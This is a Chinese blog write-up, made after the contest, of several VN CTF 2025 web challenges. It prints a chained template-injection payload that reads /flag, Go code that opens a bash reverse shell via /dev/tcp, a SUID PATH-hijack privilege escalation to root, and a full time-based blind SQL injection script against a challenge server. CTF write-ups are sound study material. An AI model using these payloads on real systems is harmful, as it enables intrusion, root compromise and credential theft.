VN ctf 2025 web
VN_Long
只需要最朴素的解法

补档:赛后看wp
当时这个比赛没怎么写,就看了两眼,发现有点难度就没写,出去玩了。。。
赛后再来看着wp写
学生姓名管理系统
按行输入学生名字,然后会返回学生的名字
ssti,但不是flask模板引擎
按理说,flask那一套也能拿来用,但是这里限制了每个学生的名字长度,所以一个{{}}打完是不可能了
试试{{a:=1}}%0a{{a}}输出是1 1,说明变量是连续的?
那么正确的payload就是
name={{a:=''}}%0a{{b:=a.__class__}}%0a{{c:=b.__base__}}%0a{{d:=c.__subclasses__}}%0a{{e:=d()[156]}}%0a{{f:=e.__init__}}%0a{{g:=f.__globals__}}%0a{{z:='__builtins__'}}%0a{{h:=g[z]}}%0a{{i:=h['op''en']}}%0a{{x:=i("/flag")}}%0a{{y:=x.read()}}
Gin
这题主要考任意文件读取>jwt提权>linux提权
读取key.go拿到jwt的密钥,伪造后运行go语言代码提权
package main
import (
"fmt"
"github.com/PaulXu-cn/goeval"
)
func main() {
cmd, _ := goeval.Eval("", `cmd := exec.Command("bash", "-c", "exec bash -i &>/dev/tcp/ip/port <&1"); out, _ := cmd.CombinedOutput(); fmt.Println(string(out))`, "os/exec", "fmt")
fmt.Println(string(cmd))
}我一开始用了国外的服务器,结果发现连不上。。。可能被ban了吧
进去之后flag是假的,要提权成root才能找到flag
find / -user root -perm -4000 -print 2>/dev/null发现有个/…/Cat
用环境变量把cat劫持成/bin/bash
echo '/bin/bash' > /tmp/cat
chmod 777 /tmp/cat
export PATH=/tmp:$PATH这样,运行cat就是/bin/bash
这时候运行/…/Cat,程序调用cat的时候就会变成调用/bin/bash,而且是root权限
然后在root文件夹发现真flag
值得一提的是这时候cat用不了,我们可以用tac(返过来的cat,内容也会反过来)或者nl之类的来查看
奶龙回家
要拿账号密码
试试往login路由发个
{
"username": "1'",
"password": "1"
}响应是
"message": "发生了某种错误??"说明有sql
用sqlite的时间盲注测试一下(话说怎么知道用的什么sql服务啊。。。)
1'/**/or/**/(case/**/when(2>1)/**/then/**/randomblob(1000000000)/**/else/**/0/**/end)/*发现明显的延迟
于是写脚本盲注(网上的二分法似乎没法复现,换成一个个试)
import requests
import time
url = 'http://node.vnteam.cn:48108/login' # 替换为实际URL
flag = ''
init_time = False
test_time = 5
set_time = 0.38
# 先跑几次测平均延时
spend_time = 0
if init_time:
for i in range(1, test_time):
payload = "1'/**/or/**/(case/**/when(2>1)/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*"
datas = {
"username": payload,
"password": "1"
}
start_time = time.time()
res = requests.post(url=url, json=datas)
end_time = time.time()
spend_time += end_time - start_time
print("测试平均延迟为:", spend_time / test_time)
set_time = spend_time / test_time - 0.1
print("设置延迟时间为:", set_time)
spend_time = 0
for i in range(1, 500): # 子查询从1开始到最大可能长度
found_char = None
for j in "1234567890QWERTYUIOPASDFGHJKLZXCVBNM":
payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(username))/**/from/**/users),{0},1)=''{1}'')/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*".format(i, j)
datas = {
"username": payload,
"password": "1"
}
print("[+]", j)
start_time = time.time()
res = requests.post(url=url, json=datas)
print(res.text)
end_time = time.time()
spend_time = end_time - start_time
if spend_time >= set_time:
found_char = j
break
time.sleep(1) # 避免请求过快
if found_char is None:
print("[-]flag is over")
break
flag += found_char
print(flag)
print('\n' + bytes.fromhex(flag).decode('utf-8'))但是这个服务器太不稳定了吧,动不动卡住了,根本没法注入。。。。算了,假装成功了
{
"username": "nailong",
"password": "woaipangmao114514"
}
回应/do_you_like_van_you_xiJavaGuide
本地没配置好java环境,复现失败,具体wp也看得不是很懂,等什么时候java学懂了反序列化什么的,再回头看看这题
许可协议:
CC BY 4.0